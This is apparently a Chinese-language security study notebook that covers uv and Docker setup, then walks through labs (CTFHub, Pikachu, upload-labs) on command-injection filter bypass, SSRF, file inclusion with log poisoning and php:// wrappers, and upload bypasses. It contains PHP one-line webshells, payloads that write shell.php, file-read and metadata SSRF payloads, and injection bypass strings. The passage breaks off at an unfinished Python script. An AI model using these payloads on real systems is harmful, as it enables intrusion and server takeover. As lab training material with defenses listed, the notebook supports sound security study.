Byron

Web Application Security Research & Exploit Development

Environment: Kali Ubuntu Windows


摘要: 本文详细分析当下工具集最优管理链路, 从原理到实战部署, 0到1完整复现

1.0 uv管理Python

1.1 为什么选择uv?

  • 极速: Rust内核, 比传统pip快10倍以上
  • 多版本切换平滑
  • 强隔离性, 项目环境独立
  • 兼容性: 完全兼容pip
  • 跨平台: Linux / macOS / Windows

1.2 uv安装

备注: 以下操作演示均在Linux-Kali

1
2
# On macOS and Linux.
curl -LsSf https://astral.sh/uv/install.sh | sh
1
2
# On Windows.
powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"

网络问题可以考虑代理或二进制安装方式

1
2
# 验证是否正确安装
uv --version


1.3 uv安装python

1
2
3
4
5
6
7
8
9
10
# 查看可用版本
uv python list

# 安装指定版本
uv python install 3.10
# 多版本安装
uv python install 3.10 3.11 3.12 ...

# 查看已安装版本
uv python list --only-installed

1.4 uv中的Python管理

1
2
# Python解释器本体安装位置
/home/kali/.local/share/uv/python/

Python解释器本体默认在该目录

1
2
# 二进制软连接位置
/home/kali/.local/bin/

以上uv主程序和uvx(uv的软连接) 及Python软连接(指向实际解释器位置)


1.5 uv指令集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 基础python模块
uv --version # 查看版本
uv python list # 查看可下载Python版本
uv python list --only-installed # 查看本地已安装好的uv托管Python
uv python install 3.9 3.10 3.12 # 一次性安装多版本
uv python uninstall 3.9 # 卸载某个版本
uv python pin 3.12 # 在项目目录锁定本项目使用Python版本, 生成 => <.python‑version>
uv python show # 查看当前项目锁定的Python版本

# 项目管理模块
uv init # 项目初始化, 生成pyproject.toml
uv venv # 创建虚拟环境(读取 .python‑version, 使用pin锁定的版本)
uv pip list # 列出当前虚拟环境已安装包
uv add requests numpy # 添加依赖(写入pyproject.toml, 同步锁定uv.lock)
uv remove requests # 卸载包
uv sync # 安装pyproject.toml/lock里全部依赖(克隆别人项目用)
uv lock --upgrade # 更新全部依赖到允许的最新版本
uv pip freeze > requirements.txt # 导出依赖requirements.txt
uv pip install -r requirements.txt # 从requirements.txt安装
uv run main.py # 运行程序

1.6 uv实战

案例1:

基于uv部署OneForAll

备注: 该项目非uv构建, 采用requirements.txt文件依赖

01 项目下载

1
git clone https://gitee.com/shmilylty/OneForAll.git

OneForAll 官方推荐 ≤ 3.9, 依赖库 aiodns 在高版本有兼容问题

02 Python版本指定

1
2
# 切换到 OneForAll 工具目录 /home/kali/tools/OneForAll
uv python pin 3.9

此时项目目录下会生成文件.python-version

03 虚拟环境创建

1
2
# 虚拟环境创建
uv venv

04 依赖导入

1
2
uv pip install -r requirements.txt
uv pip list # 查看项目依赖

05 项目运行

1
uv run oneforall.py --target www.xxx.com run

注意: uv运行项目激活虚拟环境非必须

uv run会自动化查找当前目录下.venv并使用解释器, 无需手动激活


案例2:

基于uv部署dirsearch [源码方案]

最新源码包含pyproject.toml可实现快速部署

01 Python版本指定

1
uv python pin 3.14

02 项目构建

1
uv sync

一行命令即可构建整个项目

03 项目运行

1
uv run dirsearch.py -u http://xxx -e*

案例3:

手动项目实战

流程:

  • 本地新建项目test写入main.py

  • 绑定Python版本

    1
    uv python pin 3.9

    指定python版本后自动生成.python-version

  • 项目初始化

    1
    uv init

    生成如上文件(选中部分)

  • 创建虚拟环境

    1
    uv venv
  • 运行main.py

    1
    uv run main.py

  • 验证代码分发流程

    • 删除.venv内容 → 获得源码
    • 对获取的源码执行uv sync → 自动创建虚拟环境和依赖构建(基于pyproject.toml uv.lock)

补充:

  • 虚拟环境
    • 激活: source .venv/bin/activate
    • 关闭: deactivate
    • 运行程序: python xxx.py

2.0 Docker 容器管理

2.1 为什么选择Docker?

  • 环境隔离
  • 轻量
  • 快速
  • 可移植性

2.2 Docker 部署

备注: 以下操作演示均在Linux-Kali, 与Ubuntu部署有细微差距

01 安装依赖

1
2
3
4
5
sudo apt update
sudo apt install -y ca-certificates curl gnupg
# >> ca-certificates: HTTPS 通信所需的 CA 证书包, 没有它 curl 无法验证 SSL
# >> curl: 下载 GPG 密钥和后续操作的网络工具
# >> gnupg: GPG 密钥管理工具, 用于将下载的密钥转换为 apt 可识别的格式

02 创建密钥目录

1
2
3
4
sudo install -m 0755 -d /etc/apt/keyrings
# >> /etc/apt/keyrings/ 是 Debian 12+ 推荐的 GPG 密钥存放目录
# >> -m 0755: 目录权限 rwxr-xr-x (所有者可写, 其他人只读)
# >> -d: 仅创建目录, 不复制文件

03 下载GPG密钥

1
2
3
4
5
6
7
curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/debian/gpg -o /tmp/docker.gpg
# >> -f: 失败时静默退出 (不输出 HTML 错误页面)
# >> -s: 静默模式 (不显示进度条)
# >> -S: 配合 -s 使用, 出错时仍显示错误信息
# >> -L: 跟随 HTTP 重定向
# >> 从阿里云镜像下载 Docker 官方 GPG 公钥 (ASCII armored 格式)
# >> 这个密钥用于验证后续从 Docker 源下载的包是否被篡改

04 转换密钥格式

1
2
3
4
5
6
7
sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg /tmp/docker.gpg
# >> --dearmor: 将 ASCII armored 格式 (.asc) 转换为二进制格式 (.gpg)
# >> apt 只认二进制格式的 GPG 密钥, ASCII 格式会报错
# >> 这是最容易踩坑的一步, 很多人忘了 dearmor 导致 apt update 报
# >> "NO_PUBKEY" 或 "invalid signature" 错误
# >> 输入: /tmp/docker.gpg (ASCII 格式)
# >> 输出: /etc/apt/keyrings/docker.gpg (二进制格式)

05 设置密钥权限

1
2
3
sudo chmod a+r /etc/apt/keyrings/docker.gpg
# >> a+r: 所有用户可读 (apt update 以 _apt 用户身份运行, 需要读权限)
# >> 如果不设置, apt update 会报 "Permission denied" 无法读取密钥

06 临时文件清理

1
2
3
rm -f /tmp/docker.gpg
# >> -f: 文件不存在也不报错
# >> 清理步骤 03 下载的 ASCII 格式临时文件, 已不需要

07 写入Docker镜像源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://mirrors.aliyun.com/docker-ce/linux/debian bookworm stable" | sudo tee /etc/apt/sources.list.d/docker.list

# >> 拆解这条命令:
# >> deb → 二进制包源 (区别于 deb-src 源码包)
# >> [arch=$(dpkg --print-architecture)] → 自动检测 CPU 架构
# >> amd64 / arm64 / armhf 等, 避免在 ARM 设备上拉 x86 包
# >> signed-by=/etc/apt/keyrings/docker.gpg → 指定验证此源的 GPG 密钥
# >> 精确绑定: 只有用这个密钥签名的包才被信任, 防止中间人攻击
# >> https://mirrors.aliyun.com/docker-ce/linux/debian → 阿里云 Docker CE 镜像
# >> bookworm → Debian 12 代号, Kali 基于 Debian, 必须用这个
# >> 不要用 jammy (Ubuntu 22.04) 或 noble (Ubuntu 24.04), 会报 Release file not found
# >> stable → 稳定版通道 (另有 test / nightly 通道)
# >>
# >> | sudo tee ... → 用 tee 写入需要 root 权限的文件
# >> 比 sudo echo "..." > file 更可靠 (后者重定向不受 sudo 保护)

08 验证源

1
2
3
cat /etc/apt/sources.list.d/docker.list
# >> 确认写入内容正确, 应该看到一行 deb 开头的源地址
# >> 如果有拼写错误或换行问题, 后续 apt update 会失败

09 刷新apt缓存

1
2
3
4
5
6
7
sudo apt update
# >> 从新添加的 Docker 源下载包索引
# >> 如果这一步报错, 99% 是以下原因之一:
# >> 1. GPG 密钥未 dearmor (步骤 04)
# >> 2. 密钥权限不对 (步骤 05)
# >> 3. 源地址中的发行版代号错误 (步骤 07)
# >> 4. 网络不通 / 阿里云镜像暂时不可用

10 安装Docker

1
2
3
4
5
6
7
8
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
# >> 五个包的作用:
# >>
# >> docker-ce → Docker 引擎本体 (Community Edition)
# >> docker-ce-cli → Docker 命令行客户端 (docker 命令)
# >> containerd.io → 容器运行时 (Docker 底层实际干活的组件)
# >> docker-buildx-plugin → 多架构镜像构建工具 (docker buildx 命令)
# >> docker-compose-plugin → Compose V2 插件 (docker compose 命令, 空格写法)

11 启动Docker

1
2
3
4
sudo systemctl enable docker    # 开机自启
sudo systemctl start docker # 立即启动
# >> enable: 创建 systemd 软链接, 开机自动启动 docker.service
# >> start: 立即启动 Docker 守护进程 (dockerd)

12 免sudo配置

1
2
3
4
5
sudo usermod -aG docker $USER
# >> -a: append 追加 (不覆盖已有组)
# >> -G docker: 将当前用户加入 docker 组
# >> $USER: 当前登录用户名 (kali)
newgrp docker # 当前终端立即生效

13 配置镜像加速 & 日志限制

1
2
3
4
5
6
7
8
9
10
11
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json << 'EOF'
{
"registry-mirrors": [
"https://docker.xuanyuan.me",
"https://docker.m.daocloud.io"
],
"log-driver": "json-file",
"log-opts": { "max-size": "100m", "max-file": "3" }
}
EOF

14 重启生效

1
2
sudo systemctl daemon-reload    # 重载 systemd 配置
sudo systemctl restart docker # 重启 Docker 使 daemon.json 生效

15 验证

1
2
3
docker version                  # 查看 Client + Server 版本信息
docker compose version # 确认 Compose V2 插件已安装
docker run --rm hello-world # 拉取并运行测试容器, --rm 运行完自动删除

2.3 关键配置文件详解

/etc/docker/daemon.json

1
2
3
4
5
6
7
8
{
"registry-mirrors": [ // 镜像加速
"https://docker.xuanyuan.me", // 加速地址1
"https://docker.m.daocloud.io" // 加速地址2(备用)
],
"log-driver": "json-file", // 日志驱动
"log-opts": { "max-size": "100m", "max-file": "3" }// 单个文件最大 100MB, 最多3个
}
1
docker info  # 查看生效配置

2.4 Docker使用

1.0 镜像管理
1
2
3
4
docker pull 镜像作者/镜像名:版本  # 镜像下载
docker pull 镜像名 # 镜像下载简化版(默认下载官方)
docker images # 列出本地镜像
Docker rmi 镜像ID # 删除镜像
2.0 容器管理
  • 容器查看

    1
    2
    docker ps                      # 查看运行中的容器
    docker ps -a # 查看所有容器
  • 容器创建

    docker run

    • -d 后台运行

    • -p 80:80 端口映射(宿主机:容器端口)

    • –name xx (容器名)

    • 案例

      1
      docker run -d -p 80:80 --name mydvwa vulnerables/web-dvwa

      vulnerables/web-dvwa 镜像名 | 也可使用镜像ID

  • 容器停止

    1
    docker stop 容器ID
  • 容器启动

    1
    docker start 容器ID
  • 容器删除

    1
    2
    docker rm 容器ID
    docker rm -f 容器ID # 强制删除
  • 进入容器

    docker exec

    • -i 交互式

    • -t 终端分配

    • /bin/bash (/bin/bash 解释器启动)

    • 案例

      1
      docker exec -it f6e351f39c79 /bin/bash
  • 容器日志查看

    1
    2
    docker logs 容器ID
    docker logs -f 容器ID # 实时跟踪
  • 多容器启动

    docker-compose up

    • -d 根据docker compose.yml启动整套环境
    • docker compose down关闭并移除整套环境

Environment: PHP 7.3.4 + Apache + MySQL 5.7.26

Lab: Pikachu DVWA CTFHub

1.0 RCE

1.1 基础

  • 定义: RCE(Remote Code Execution 远程代码执行) 是指攻击者能够在目标服务器上远程执行任意代码或系统命令的漏洞. 它是 Web 安全中危害等级最高的漏洞类型之一, 一旦利用成功, 攻击者可直接获取服务器权限(GetShell), 进而窃取数据, 植入后门, 横向渗透甚至控制整个内网
  • 核心原理: 用户可控的数据, 未经充分过滤/转义, 被拼接进了代码或命令的执行上下文中

1.2 相关函数

  • 命令command注入
函数 作用
system() 执行外部程序并显示
exec()
shell_exec()
通过shell环境执行命令, 并将完整的输出以字符串方式返回
pcntl_exec() 在当前进程空间执行指定程序
passthru() 执行外部程序并显示原始输出
popen() 打开进程文件指针
proc_open() 执行一个命令, 并打开用来input/output的文件指针
  • 代码code注入
函数 作用
eval() 把字符串code作为php代码执行
assert 检查一个断言是否为false
preg replace() 执行一个正则表达式的搜索和替换
create function() 创建一个匿名函数并且返回函数名创
call userfunc()
caIl_user func array()
把第一个参数作为回调函数调用
usort()
uasort()
使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
  • Windows命令拼接符号
符号 作用
&& 左边执行成功, 才执行右边
& 拼接
| 管道符(前一条输出当后一条输入)
|| 左边执行失败, 才执行右边
%0a URL 编码的换行, 也能分隔命令
  • Linux命令拼接符号
符号 作用
; 连接符
&& 左边执行成功, 才执行右边
| 管道(前一条输出当后一条输入)
|| 左边执行失败, 才执行右边
& 任务后台执行, 类似nohup
%0a URL 编码的换行, 也能分隔命令

1.3 过滤绕过

  • 空格

    1
    2
    cat${IFS}/flag  # ${IFS} 是内部字段分隔符(默认含空格/Tab/换行)
    {cat,/flag} # 花括号扩展,逗号代替空格
  • cat

    1
    2
    3
    4
    ca''t /flag             # 空字符串拼接, ca''t 还是 cat
    ca\t /flag # 反斜杠转义
    c?a? /f??? # ? 匹配单字符, * 匹配任意 → c?t /f*
    more/less/head/tail/nl
  • flag

    1
    2
    cat /f*                 # * 通配
    cat /fla? # ? 通配
  • ; | &

    1
    2
    127.0.0.1%0acat /flag   # URL [换行]编码换行符 %0a 代替 ;
    127.0.0.1%0dcat /flag # %0d [回车]
  • Base64编码

1
2
3
echo -n "cat flag" | base64  # -n必须加否则会自带 \n换行, 实际解码内容溢出
# 此时输出一个编码
echo 编码 | base64 -d | sh # 解码并执行

2.0 实战

CTFHub-RCE(综合过滤)

  • 源码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
  • 后端做校验对”\|&;/ cat flag ctfhub”等关键字都做了过滤
  • 这里使用等价替换的方式进行绕过

01 探测当前目录结构

1
127.0.0.1%0als

回显目标目录flag_is_here

02 查看目标目录结构

1
127.0.0.1%0als${IFS}f*_is_here

该文件存放通关代码, 想办法读取

03 获取文件内容

1
127.0.0.1%0acd${IFS}f*_is_here%0aless${IFS}f*_10040951432284.php

打开网页源代码即可获取到通关代码, 输入即可通关本关

Environment: PHP 7.3.4 + MySQL 5.7.26
Lab: Pikachu

1.0 SSRF

1.1 什么是SSRF

SSRF(Server-Side Request Forgery, 服务端请求伪造): 服务器在没有对目标地址做有效过滤的情况下, 替攻击者向任意地址发起请求, 攻击者相当于把服务器当成了”跳板机”

1.2 根因

用户可控的 URL / 资源标识符 → 进入了网络请求函数, 且无过滤 和文件包含 include($_GET['file']) 是同一类

1.3 常见危险函数

语言 危险函数
PHP curlfile_get_contentsfsockopenfopen
Python requestsurllib
Java URL.openConnectionHttpClient

1.4 分类

  • 有回显SSRF: 内网响应直接返回给攻击者
  • 无回显SSRF(Blind): 无回显, 需要 DNSLog / 时间差等侧信道确认和利用

1.5 漏洞危害

危害 说明 典型 payload 协议
读服务器本地文件 /etc/passwdwin.ini file://
内网端口扫描 / 服务探测 扫存活主机、探测 Redis/MySQL http://dict://
攻击内网未授权服务 打 Redis 写 webshell → RCE gopher://
云凭据窃取 偷 AWS/阿里云 IAM 临时凭据 http://169.254.169.254

协议就是 SSRF 的武器库: file 读文件、dict 探服务、gopher 发任意 TCP 字节流(万能)


2.0 漏洞利用

2.0.1 php函数

函数 作用
curl_exec() 执行cURL会话
file_get_contents() 获取整个文件
fsockopen() 打开一个网络连接或者一个Unix套接字连接

2.0.2 CURL协议

协议 作用
file 查看文件
dict 探测端口
gopher 发送任意 TCP 原始字节流
可打 Redis/MySQL/FastCGI 写 webshell, 进而 RCE

2.1 Pass-01-本地编写测试

ssrf1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function curl($url){
$ch = curl_init();
// 设置URL及选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并传递给浏览器
curl_exec($ch);
// 关闭cURL资源, 并释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
  • http请求类(确认漏洞存在)

    通过Payload?url=http://www.baidu.com成功跳转链接

  • 本地文件读取(file)

    1
    2
    ?url=file:///c:/windows/win.ini # Windows
    ?url=file:///etc/passwd # Linux

    成功读取到win.ini内容

  • 探测内网服务(http/dict)

    1
    2
    ?url=http://127.0.0.1:81/            # 访问自己,验证内网可达
    ?url=dict://127.0.0.1:6379/info # 探测 Redis 未授权

    扫描思路: 通过响应差异 / 时间差判断端口是否开放

2.2 Pikachu靶场实验

  • 端口探测(curl)

    1
    ?url=dict://127.0.0.1:3306

    探测到mysql端口开放

  • 读取本机hosts文件(curl)

    1
    ?url=file:///c:windows/system32/drivers/etc/hosts

  • 文件读取(file_get_contents)

    1
    ?file=file://c:windows/system32/drivers/etc/hosts
  • 通过php伪协议读取源码(file_get_contents)

    1
    ?file=php://filter/read=convert.base64-encode/resource=ssrf.php

    解码后与源码一致, 成功读取


3.0 防御

防御措施 防什么
协议白名单(只放 http/https) file/dict/gopher
解析后校验 IP(禁私网/回环/链路本地) 直连内网
禁用 CURLOPT_FOLLOWLOCATION 302 跳转绕过
CURLOPT_RESOLVE 锁定 IP DNS Rebinding(关键)
出口防火墙 / 网络隔离 纵深兜底

Environment: PHP Apache

Lab: Local Scripts


1.0 文件包含

1.1文件包含漏洞分类

  • 本地文件包含漏洞(LFI): 包含服务器本地的文件

  • 远程文件包含漏洞(RFI): 包含远程服务器上的文件

    • 触发前提: (php.ini):
      • allow_url_fopen = On(默认On, 影响fopen类函数)
      • allow_url_include = On(默认Off, RFI的关键前提)
  • 常见触发函数

    函数 描述
    include() 包含并执行文件; 失败时产生Warning, 脚本继续执行
    include_once() 同include(), 但同一文件只包含一次
    require() 包含并执行文件; 失败时产生Fatal Error, 脚本终止
    require_once() 同require(),但同一文件只包含一次
  • 漏洞本质: include/require的参数可被用户控制且未做有效过滤


1.2 文件包含漏洞发现及其利用

  • 目录穿越:

    • ../
    • ….//(双写)
  • 本地文件包含漏洞利用

    01 配合文件上传使用, 找不到文件上传漏洞时, 无法上传WebShell, 可先上传图片格式WebShell到服务器, 再利用本地文件包含漏洞进行解析

    02 包含Apache日志文件: 网站存在文件包含漏洞, 但无文件上传点, 这时可利用Apache日志文件生成一句话木马

    • 利用条件:
      • 日志文件可读权限
      • 日志文件存储路径已知

    1.2.1 日志文件漏洞利用案例:

    注意: 需要开启Apache日志记录功能

    • httpd.conf → CustomLog “logs/access.log” common

    • 为什么用 Burp? 浏览器会把 < > 空格 URL 编码, 编码文本进日志后无法构成 <?php 标签

      Burp可控制原始字节, 且请求行即使返回 400, 也会被写进日志(利用点)

    • common格式只记请求行, 毒化点放在 URL; 若想毒化 UA/Referer, 需combined格式

    如下图, 使用BurpSuite抓包修改注入一句话木马

    1
    <?php @eval($_POST['cmd']); ?>

    拦截数据包修改请求


    如图, 日志中成功注入一句话木马


    通过已知日志文件路径访问并获得WebShell

1.3 PHP伪协议

1.3.1 概述:

  • PHP伪协议即 Stream Wrappers(流封装器), 是PHP的统一I/O抽象层, 让同一套文件函数(include/fopen/file_get_contents...)能操作文件, 网络, 压缩包, 内存等不同数据源。

  • 漏洞本质:

    1
    2
    3
    用户可控的"路径"进入文件函数
    + 攻击者用协议切换"文件"的语义
    = 读(源码/配置) or 执行(包含/反序列化)
  • PHP支持的伪协议:

    协议 作用
    php:// 访问I/O流
    phar:// PHP归档
    file:// 本地文件系统
    zip:// ZIP归档
    data:// 内联数据(RFC 2397)
  • php://

    • php://filter 元封装器, 读源码首选, 无任何配置前提
    • php://input 请求体原始只读流, 配合 include 把 POST 体当代码执行
    php://filter 参数 描述
    resource=<数据流> 必选, 指定要筛选过滤的数据流
    read=<读链过滤器> 可选, 读链过滤器, 管道符`
    write=<写链过滤器> 可选, 写链过滤器
    <无前缀过滤器链> 任何没有以 read= / write= 作为前缀的过滤器列表会视情况应用于读链或写链
    字符串过滤器 作用
    string.rot13 等同于str_rot13(), rot13变换
    string.toupper 等同于strtoupper(), 转大写字母
    string.tolower 等同于strtolower(), 转小写字母
    转换过滤器 作用
    convert.base64-encode &
    convert.base64-decode
    等同于base64_encode() &
    base64_decode(), base64编码和解码
    convert.quoted-printable-encode &
    convert.quoted-printable-decode
    quoted-printable 字符串与8-bit字符串编码和解码

    重点:

    • 为什么要Base64?
      • 防止源码被PHP引擎执行, 原样输出后再本地解码
    • 不只对include()有效, 对file_get_contents()/readfile()/fopen()同样生效

1.3.2 案例:

  • Case 1: php://filter源码读取

    content.php

    1
    2
    3
    4
    5
    <?php
    $file = $_GET['file'];
    $content = file_get_contents($file);
    echo $content;
    ?>

    user.php

    1
    2
    3
    4
    <?php
    $username = "admin";
    $password = "123456";
    ?>

    利用伪协议读取源码

    通过php://filter成功读取到经过base64编码的源代码, 再通过解码器解码获得源码

    • 读取型函数下 base64 的额外价值:
      • 绕路径过滤/WAF关键词
      • 源码直接回显时<?php ..?> 会被浏览器当作XML处理指令吞掉, 页面空白base64保证可见

  • Case 2: php://input代码执行

    原理: 可以访问请求的原始数据只读流, 将post请求的数据当作php代码执行

    前提: allow_url_include=On(默认 Off)

    • Payload

      1
      2
      3
      <?php
      file_put_contents('shell.php', '<?php @eval($_POST[cmd]); ?>');
      ?>

      写入一个文件shell.php ,文件内容为一句话木马

    抓包修改GET请求为POST类型, 并在请求体写入Payload

    通过shell.php成功getshell !


1.4 修复防范

  • 数据输入验证

    • 对用户提交的文件路径参数进行严格的格式检查和白名单策略, 只允许包含预定义的, 安全的文件路径
    • 禁止包含绝对路径, 转而使用相对路径, 并且确保相对路径不会超出预期的目录范围
  • 禁用危险函数或配置

    • 如果不是必须, 尽量避免使用容易导致文件包含漏洞的函数, 如PHP中的allow_url_include配置项应设为Off以禁用远程文件包含
    • 在php.ini配置文件中, 可以设置open_basedir限制PHP脚本只能访问指定目录及其子目录下的文件
  • 使用安全函数

    • 使用更安全的函数替代易出问题的文件包含函数, 例如在PHP中, 可以使用readfile()配合自定义的文件路径处理逻辑来代替include()
  • 错误处理与日志记录

    • 正确处理文件包含失败的情况, 不要暴露过多的错误信息, 以免给攻击者提供有用的信息
    • 记录详细的日志, 以便在发生异常时追溯分析问题

Environment: PHP Apache

Lab: upload-labs


1.0 文件上传基础

01 文件上传漏洞是什么?

文件上传漏洞是指攻击者上传了一个可执行的文件到服务器并成功执行, 从而获取服务器权限的漏洞. 其本质是服务端未对上传文件进行充分校验, 导致恶意文件(如 WebShell)被当作合法文件存储并解析执行.

02 攻击链

03 项目搭建

项目 说明
靶场地址 https://github.com/c0ny1/upload-labs
推荐环境 phpstudy(Windows)/ Docker
PHP版本 5.2 ~ 5.6(部分关卡需要低版本)
Web服务器 Apache(.htaccess相关关卡需要)
工具 Burp Suite, HxD(十六进制编辑器), 蚁剑/冰蝎

04 一句话木马

1
2
3
<?php
@eval($_POST['cmd']);
?>

2.0 upload-labs实战

2.1 前端JS校验绕过(Pass-01)

01 原理

  • 服务端未做任何校验, 仅通过前端JavaScript的 onsubmit事件检查文件后缀. 由于JS运行在客户端, 攻击者可完全控制.

02 绕过方式

方法 操作
方法1 浏览器设置中禁用 JavaScript
方法2 先上传合法图片,Burp 抓包改后缀为 .php

上图展示关闭浏览器JS校验

如上图, BurpSuite抓包后修改文件后缀为.php即可

03 获取shell(示例工具为蚁剑)

如图, 已成功获取webshell !


2.2 MIME类型校验绕过(Pass-02)

01 原理

  • 服务端检查 HTTP 请求中的 Content-Type 字段, 判断文件是否为图片类型. 该字段由客户端控制, 可任意伪造.

  • 常见 MIME 类型:

    后缀 Content-Type
    .jpg image/jpeg
    .png image/png
    .gif image/gif
    .php application/x-php

02 绕过方式

Burp 抓包 → 将 Content-Type: application/x-php 改为 image/png

如上图, 修改抓包数据, 即可实现上传绕过

结论: MIME 类型由客户端声明, 不可作为安全校验依据


2.3.1 黑名单绕过 - 非常规后缀(等价扩展名)(Pass-03)

01 原理:

  • 服务端维护一个”禁止上传的后缀列表”(黑名单)
    如果文件后缀不在列表中则允许上传
    绕过思路: 找到一个不在黑名单中, 但服务器仍会解析为 PHP 的后缀或变形

黑名单缺陷:

  • 黑名单永远无法穷举所有危险后缀, 只要遗漏一个,就可能被绕过

02 绕过方式

注意: 需要将Apache配置文件httpd.conf 修改以下参数

1
AddType application/x-httpd-php .php .phtml .php3

修改后重启Apache服务

如上图, 修改后缀为.php3 Forward后, 用蚁剑测试图片链接

2.3.2 黑名单绕过 - 大小写绕过(Pass-06)

01 原理

  • 黑名单中只写了小写 .php, 但 Windows 文件系统不区分大小写
  • Windows系统中, 对文件名后缀大小写不敏感, 例: .php = .PhP
  • Linux系统中, 对文件名后缀大小写敏感, .php ≠ .PhP通常被认定为两个文件

02 绕过方式

BurpSuite 抓包, 将对应字段的.php修改为带大写字母即可

如上图, 修改后缀为.Php Forward后, 用蚁剑测试图片链接

2.3.3 黑名单绕过 - 后缀空格绕过(Pass-07)

01 原理

  • 黑名单检查时未对后缀做 trim() 处理, 但 Windows 文件系统会自动去除文件名末尾的空格

02 绕过方式

BurpSuite 抓包, 将文件名改为 demo.php (此处实际存在空格)

如上图, 修改后缀为.php[空格] Forward后, 用蚁剑测试图片链接

2.3.4 黑名单绕过 - 后缀点绕过(Pass-08)

01 原理

  • 与空格类似, Windows 文件系统会自动去除文件名末尾的点号

02 绕过方式

文件名改为 demo.php.

修改后缀为.php. Forward后, 用蚁剑测试图片链接

2.3.5 黑名单绕过 - ::$DATA绕过(Pass-09)

01 原理

  • Windows NTFS 文件系统的数据流特性, 在文件名后附加 ::$DATA, Windows 会将其视为默认数据流, 实际创建的文件名不包含 ::$DATA 部分

02 绕过方式

文件名改为demo.php::$DATA

仅限Windows+NTFS文件系统

修改后缀为.php::$DATA Forward后, 用蚁剑测试图片链接(URL需去掉::$DATA)

2.3.6 黑名单绕过 - 点空格点绕过(Pass-10)

01 原理

  • 黑名单检查后缀时, 取最后一个 . 后的内容, 构造 demo.php. .(点+空格+点), 经过 trim()deldot() 处理后, 最终后缀变为 .php., 但黑名单检查时可能已经通过

02 绕过方式

文件名改为demo.php. .

后缀变化 .php. . →.php.

2.3.7 黑名单绕过 - 双写绕过(Pass-11)

01 原理

  • 服务端使用 str_ireplace() 将黑名单后缀替换为空字符串, 但只替换一次, 不做递归

02 绕过方式

文件名改为demo.pphphp


2.4 .htaccess文件绕过(Pass-04)

01 原理

  • Apache 支持目录级配置文件 .htaccess如果能上传一个 .htaccess 文件到上传目录, 就可以让该目录下的所有文件都被 PHP 引擎解析

前提条件

  • Apache服务器

  • httpd.conf文件中 AllowOverride All

  • 上传目录可写

    类型 httpd-conf .htaccess
    作用范围 整个服务器 当前目录
    优先级 较低 较高
    生效方式 重启服务器 修改即生效
    • .htaccess
    1
    AddType application/x-httpd-php .txt .jpg

02 绕过方式

  • 上传 .htaccess文件

  • 上传Script文件 .jpg.txt(与.htaccess对应)

依次上传.htaccess → demo.jpg(包含php代码)


2.5 .user.ini文件绕过(Pass-05)

01 原理

  • PHP 支持目录级配置文件 .user.ini, 其中 auto_prepend_file 指令可以让每个 PHP 文件执行前
    自动包含指定文件
类型 php.ini .user.ini
描述 存储整个php环境生效配置 特定用户或目录的配置文件
位置 php安装目录 Web应用程序根目录
作用 php环境配置 覆盖或追加全局配置文件

02 绕过方式

  • 编写.user.ini文件

    1
    2
    auto_prepend_file=test.txt
    # 在所有文件中都包含test.txt中文件内容
  • 编写test.txt文件

    1
    2
    3
    4
    <?php
    @eval($_POST['cmd']);
    echo "test";
    ?>
  • 依次上传.user.ini test.txt

  • 访问/upload-labs/readme.php

文件被成功包含, 且蚁剑可连接


2.6.1 图片马绕过-文件头绕过(Pass-14)

01 原理

  • 服务端只检查文件头的几个字节, 不检查文件完整内容

  • 常见文件头:

    格式 文件头(Hex)
    JPEG FF D8 FF E0
    PNG 89 50 4E 47
    GIF 47 49 46 38

02 绕过方式

  • demo.php十六进制编码前两位改为PNG格式89 50

  • 上传文件绕过验证

  • 通过文件包含方式访问

    demo.php写入以下内容, 并通过010Editor(工具) 修改Hex

    1
    2
    3
    4
    5
    // aa占位, 修改Hex参数预留
    aa
    <?php
    @eval($_POST['cmd']);
    ?>

2.6.2 图片马绕过-getimagesize()(Pass-15)

01 原理

  • getimagesize() 比简单的文件头检查更严格, 它会尝试解析图片的完整结构, 但对于 GIF 格式
    只需在文件开头加上 GIF89a 即可骗过

02-1 绕过方式 1

  • 修改文件头, 使用文件包含访问

02-2 绕过方式 2

  • 使用现有.png.php结合生成新的.png文件, 通过文件包含方式访问

    1
    copy 1.png/b+demo.php shell.png

成功连接Shell

02-3 绕过方式 3

  • .png图尾部直接添加一句话木马脚本

2.6.3 图片马绕过-二次渲染(Pass-17)

01 原理

  • 服务端使用 GD 库或 ImageMagick 对上传的图片进行重新渲染(如缩放, 裁剪), 渲染过程会破坏嵌入的 PHP 代码

02 绕过方式

思路:

  • 上传一张正常图片

  • 下载服务端渲染后的图片

  • 对比渲染前后的差异, 找到未被修改的字节区域

  • 将 PHP 代码嵌入到这些”安全区域”中

  • 重新上传

  • 插件手工绕过使用.gif类型文件


2.7 条件竞争(Pass-18)

01 原理

  • 在上传和删除之间存在极短的时间窗口, 若攻击者在这个时间差内访问到文件, 就能够执行恶意代码

  • 利用条件: 恶意文件被执行一次即可 (如写入1个WebShell)

02 绕过方式

  • test.php测试脚本写入以下内容

    1
    2
    3
    4
    5
    <?php
    $shell = '<?php @eval($_POST["cmd"]); ?>';
    file_put_contents(dirname(__FILE__) . '/shell.php', $shell);
    echo "Shell created";
    ?>

    思路: 上传test.php文件, 文件被先保存后删除, 在这个’’时间窗口” 内写入新文件shell.php

  • 接收端Python脚本access.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
